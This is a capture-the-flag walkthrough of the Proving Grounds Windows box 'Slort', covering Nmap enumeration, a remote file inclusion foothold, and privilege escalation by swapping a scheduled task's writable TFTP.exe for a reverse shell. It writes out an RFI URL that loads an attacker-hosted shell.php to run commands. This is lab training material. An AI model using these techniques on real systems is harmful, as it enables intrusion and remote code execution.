nitesh@gupta
Proving Grounds Windows

Slort

Full walkthrough — enumeration, foothold and privilege escalation.

Nmap output

Nmap scan report for 192.168.147.53
Host is up (0.060s latency).
Not shown: 65221 closed tcp ports (conn-refused), 299 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd 0.9.41 beta
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql         MariaDB 10.3.24 or later (unauthorized)
4443/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.147.53:4443/dashboard/
5040/tcp  open  unknown
7680/tcp  open  pando-pub?
8080/tcp  open  http          Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.147.53:8080/dashboard/
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

We have xampp running on port 4443 & 8080

Slort walkthrough, Got reverse shell as administrator, screenshot 1
Slort, step 1

After directory bruteforcing we got /SITE directory

Slort walkthrough, Got reverse shell as administrator, screenshot 2
Slort, step 2

After visiting the /site directory we see http://192.168.147.53:4443/SITE/index.php?page=main.php this url

Slort walkthrough, Got reverse shell as administrator, screenshot 3
Slort, step 3

After checking the url we see we can include php page in page parameter. So to test the theory I passed a url of local server in page parameter

Slort walkthrough, Got reverse shell as administrator, screenshot 4
Slort, step 4

And we got request on our server

Slort walkthrough, Got reverse shell as administrator, screenshot 5
Slort, step 5

We hosted a shell.php on port 8000 locally

Slort walkthrough, Got reverse shell as administrator, screenshot 6
Slort, step 6

Loaded the shell.php and parsed the whoami command

url: http://192.168.147.53:8080/SITE/index.php?page=http://192.168.45.243:8000/shell.php&cmd=whoami

Slort walkthrough, Got reverse shell as administrator, screenshot 7
Slort, step 7

Downloaded the reverse.exe using the webshell

Slort walkthrough, Got reverse shell as administrator, screenshot 8
Slort, step 8

Got reverse shell

Slort walkthrough, Got reverse shell as administrator, screenshot 9
Slort, step 9

Got local.txt (7e26564bc3b65f3e62efd0266e1b9cbd)

Slort walkthrough, Got reverse shell as administrator, screenshot 10
Slort, step 10

We have a Backup directory in C

Slort walkthrough, Got reverse shell as administrator, screenshot 11
Slort, step 11

We see that inside Backup directory we have 3 files & after viewing we see that a command for TFTP.exe. Which indicates that a scheduled task is running

Slort walkthrough, Got reverse shell as administrator, screenshot 12
Slort, step 12

Checking permission on TFTP.exe & we have modify permission

Slort walkthrough, Got reverse shell as administrator, screenshot 13
Slort, step 13

Replaced original TFP.exe with a revere shell executable with same name

Slort walkthrough, Got reverse shell as administrator, screenshot 14
Slort, step 14

Got reverse shell as administrator

Slort walkthrough, Got reverse shell as administrator, screenshot 15
Slort, step 15

Got proof.txt (bc3a006145061283ead3d9d7b0f6c360)

Slort walkthrough, Got reverse shell as administrator, screenshot 16
Slort, step 16

More walkthroughs

AlgernonWindows

Full walkthrough of the Algernon box on Offensive Security Proving Grounds (Windows). Enumeration across 21/ftp, 80/http, 135/msrpc, 139/netbios-ssn, 445/microsoft-ds?. Foothold to root using evil-winrm, kerberoasting, winpeas.

AuthbyWindows

Full walkthrough of the Authby box on Offensive Security Proving Grounds (Windows). Enumeration across 21/ftp, 242/http, 3145/zftp-admin, 3389/ms-wbt-server. Foothold to root using evil-winrm, kerberoasting, winpeas.

CraftWindows

Full walkthrough of the Craft box on Offensive Security Proving Grounds (Windows). Enumeration across 80/http. Foothold to root using evil-winrm, kerberoasting, winpeas.

AccessAD

Full walkthrough of the Access box on Offensive Security Proving Grounds (Active Directory). Enumeration across 53/domain, 80/http, 88/kerberos-sec, 135/msrpc, 139/netbios-ssn. Foothold to root using evil-winrm, kerberoasting, linpeas.

HeistAD

Full walkthrough of the Heist box on Offensive Security Proving Grounds (Active Directory). Enumeration across 53/domain, 135/msrpc, 139/netbios-ssn, 389/ldap, 445/microsoft-ds?. Foothold to root using evil-winrm, kerberoasting, linpeas.

HokkaidoAD

Full walkthrough of the Hokkaido box on Offensive Security Proving Grounds (Active Directory). Enumeration across 53/domain, 80/http, 88/kerberos-sec, 135/msrpc, 139/netbios-ssn. Foothold to root using evil-winrm, kerberoasting, linpeas.